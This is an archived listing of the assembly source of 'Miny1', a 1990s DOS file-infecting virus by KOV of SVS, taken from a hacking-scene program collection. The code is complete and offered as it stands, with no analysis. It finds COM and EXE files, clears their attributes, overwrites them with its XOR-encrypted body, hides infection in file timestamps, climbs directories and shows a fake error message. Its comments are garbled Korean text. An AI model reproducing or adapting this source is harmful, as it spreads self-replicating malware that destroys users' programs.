home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / KOREACOL.ZIP / MINY.ZIP / MINY1.ZIP / MY1-433.ASM next >
Assembly Source File  |  1997-02-23  |  7KB  |  183 lines

  1. ;*****************************************************************************
  2. ;
  3. ;              úíôí1 (Miny1)                      : 95.7.31
  4. ;                                                   94.8.09 ~ 7.31
  5. ;   (c) Copyleft 1991-1995 by KOV of SVS,Corea
  6. ;
  7. ;   ës┴a│aïí ña╖í£ß»a╖íöa. öeòó╖a¥í ╨ùò╖╨a╗í ┤gëí £æ╡A KOV ╖ü ña╖í£ß»a
  8. ; êa ╖╢╖aíe »í»a╔Q╖i ╠aèA╨aôe íw¥wòí ═í╨qûEöa.
  9. ;   ║ü¥í öaƒe ña╖í£ß»a╡┴ ╨qìA ╠ß╗Ñöa.
  10. ;
  11. ;
  12. ;
  13. ;
  14. ;
  15. ;  *Miny1.100(KV20): ╤e╕ü ùí¥B╔íƒí╖ü ííùe COM ╠a╖⌐
  16. ;  *Miny1.111(KV21): Windows ╠a╖⌐ê{╖í ╢ß╕w
  17. ;  *Miny1.123(KV22): TVRES ê{╖í ╢ß╕w
  18. ;  *Miny1.444(KV23): ¼w╢ß╖íò╖,íA»í╗í ┬ë¥b,┤q╤í╤┴
  19. ;  !Miny1.xxx(KV24): Int 24h └߃í
  20. ;
  21. ;
  22. ;
  23. ;*****************************************************************************
  24.  
  25.  Miny1         SEGMENT PARA 'Miny1'
  26.                assume cs:Miny1, ds:Miny1
  27.  
  28.                Org     100h
  29.  Entry:        call    Decode                     ; ┤q╤í ╬ëïí
  30.  
  31.  Encry_Start:
  32.                Mov     byte ptr S_Find,00         ; COM êq╡q╖Ñêa, EXE êq╡q╖Ñêa
  33.                mov     byte ptr Total,00          ; 3êü êq╡q
  34.                Mov     dx,offset Com_File         ; ííùe COM ╠a╖⌐
  35.                mov     byte ptr Infected,00       ; êq╡qûE êò«ü
  36.                Jmp     Find_File
  37.  
  38. ;=================================================
  39. ; òA╖í╚ß êt ╡w╡b
  40. ;
  41.  
  42.  Msg           DB      'Abnormal Program Termination.',0Dh,0Ah,'$'
  43.  Com_File      DB      '*.com',00            ;
  44.  Exe_File      DB      '*.exe',00            ;
  45.  Total         DB      ?                     ; êq╡q»í╟Ñ«ü
  46.  Infected      DB      ?                     ; ╗íïqîa╗í êq╡qûE ╠a╖⌐ùi
  47.  S_Find        DB      ?                     ; êq╡q»í╟íëí ╖╢ôe ¼w╚ü
  48.  UP            DB      '..',00               ; ¼w╢ߥí ╖íò╖
  49.  
  50.  Vir_Msg       DB ' [Miny1]/KV44 --FREEWARE  1995.7.31 ',0Dh,0Ah
  51.                DB ' Hmm.. Ending version. miss you! Miny1 ',0Dh,0Ah
  52.                DB ' (c) Copyleft 9192 by KOV of SVS/Corea ',0Dh,0Ah,'$'
  53.  
  54.  
  55.                mov     bx,ds
  56.                xor     ax,ax
  57.                mov     ds,ax
  58.                push    DS:[0090h]                  ; Int 24h êt ╕ß╕w
  59.                Push    DS:[0092h]
  60.  
  61.                mov     DS:[0090h],offset NewInt24   ; Int 24h êa¥í└æ
  62.                mov     DS:[0092h],cs
  63.  
  64.                Push    CS
  65.                Pop     DS
  66.  Find_File:
  67.                Mov     ah,4Eh                ; ╠a╖⌐ └xïí
  68.                Mov     cx,0027h              ; ╠a╖⌐ ¡ó¼≈
  69.                Int     21h
  70.  IfFF_ERR:     Jc      Find_EXE              ; ╡A£ß?
  71.  ChkInfect:
  72.                Mov     al, byte ptr DS:[0080h+22] ; êq╡q ╡aªü ê±¼a
  73.                And     al,1Fh                ; 62 ┴í ╖Ñêa?
  74.                Cmp     al,1Fh
  75.                Jnz     InfectFile
  76.                inc     byte ptr INFECTED     ; êq╡qûE ╠a╖⌐
  77.  Find_NEXT:
  78.                Mov     ah,4fh                ; öa╖q ╠a╖⌐ ê±¼a
  79.                Int     21h
  80.                Jmp     IfFF_ERR
  81.  InfectFile:
  82.                mov     ax,4301h              ; ¡ó¼≈╖i ╖¬ïí/│aïí¥í áeùeöa.
  83.                xor     cx,cx                 ; DTA êa 0080h ªü╚ß »í╕b╨aúa¥í
  84.                mov     dx,0080h+1eh
  85.                int     21h
  86.  
  87.                mov     ax,3d02h              ; ╡í╧e/│aïí¥í ╡í╧e
  88.                int     21h
  89.  
  90.                xchg    ax,bx                 ; AX ╡A ╨àùi É²ïí
  91.                mov     ax,5700h              ; »íêe ┤Φïí
  92.                int     21h
  93.                push    cx
  94.                push    dx
  95.  
  96.                xor     ax,ax                      ; ╖▒╖ü╖ü »íêe ┤Φïí (┤q╤í╤┴
  97.                mov     es,ax                      ; ╡A ¼a╢w)
  98.                mov     al,byte ptr ES:[046Ch]
  99.                Push    CS
  100.                Pop     ES
  101.                mov     Key_Value,al
  102.                call    Write_Vir                  ; ña╖í£ß»a │aïí ╤í┬ë
  103.  
  104.                pop     dx                         ; »íêe Ñóèü
  105.                pop     cx
  106.                or      cx,+1Fh                    ; ┴íƒi 62┴í ¥í ñaÄæ
  107.                mov     ax,5701h                   ; »íêe ╣í╕≈(╢Ñ£ü »íêe)
  108.                int     21h
  109.  
  110.                mov     ah,3eh                     ; ╠a╖⌐ öhïí
  111.                Int     21h
  112.                cmp     byte ptr Total,3           ; 3êü êq╡q»í┼vÉa?
  113.                jz      Stop_Virus
  114.                Inc     byte ptr Total             ; 1 ╗wêa
  115.                JMP     Find_NEXT
  116.  Find_EXE:
  117.                cmp     byte ptr S_Find,1          ; 01╖ííe EXE ╠a╖⌐òí êq╡q»í┼vöa.
  118.                Jnz     DX_EXE
  119.                mov     dx, offset UP              ; ¼w╢ß ùí¥B╔íƒí¥í ╖íò╖
  120.                mov     ah,3Bh
  121.                Int     21h
  122.                jc      Stop_Virus
  123.                mov     byte ptr S_Find,00         ; COM ╠a╖⌐ ªü╚ß êq╡q
  124.                mov     dx, offset COM_File
  125.                jmp     Find_File
  126.  DX_EXE:
  127.                Mov     byte ptr S_Find,01         ; EXE ╠a╖⌐╖i êq╡q»í┼a£a.
  128.                Mov     dx,offset Exe_File         ;
  129.                Jmp     Find_File
  130.  
  131.  Stop_Virus:
  132.                xor     ax,ax                       ; ╢Ñ£ü Int 24h ¥í ñaÄæ
  133.                mov     ds,ax
  134.                pop     DS:[0092h]
  135.                pop     DS:[0090h]
  136.                Push    CS
  137.                Pop     DS
  138.                mov     dx, offset Msg             ; ╕≈¼w╕Γ╖Ñ ╡A£ß¥í êa╕w
  139.                cmp     byte ptr Infected,15       ; 15êü êq╡q»í┼v╖aíe íA»í╗í
  140.                jb      PrtMsg
  141.                mov     dx, offset Vir_Msg
  142.                mov     ax,0F044h                  ; £æ╡A ¼w║ü╨ü ╖╢ôe ╨üöw ña╖í£ß»a╖ü
  143.                Int     21h                        ; ╗w¼w ╤í┬ë
  144.  
  145.  PrtMsg:       mov     ah,9                       ; íA»í╗í ┬ë¥b
  146.                Int     21h
  147.  
  148.                Mov     ax,4C23h                   ; ╦b╖í╨aëA ╣╖₧aêt╖i ║àöa.
  149.                int     21h
  150.  
  151.  NewInt24:                                        ; Int 24h └߃í
  152.                xor     al,al
  153.                IRET
  154.  
  155.  End_Encry:
  156.  
  157. ;==================================================
  158. ;
  159. ;
  160.  Write_Vir:    call    Decode
  161.                mov     ah,40h
  162.                mov     dx, 100h
  163.                mov     cx, offset Vir_END - 100h
  164.                Int     21h
  165.                call    Decode
  166.                RET
  167.  Key_Value     DB      ?
  168.  Decode:
  169.                mov     si, 103h                   ; ┤q╤í »í╕b╕±
  170.                mov     di,si
  171.                mov     ah,Key_value               ; ┤q╤í ╟íêt
  172.                mov     cx, offset End_Encry - 103h
  173.  E_Ing:
  174.                lodsb
  175.                xor     al,ah
  176.                stosb
  177.                loop    E_ing
  178.                RET
  179.  Vir_END:
  180.  
  181.  Miny1         ENDS
  182.                END     Entry
  183.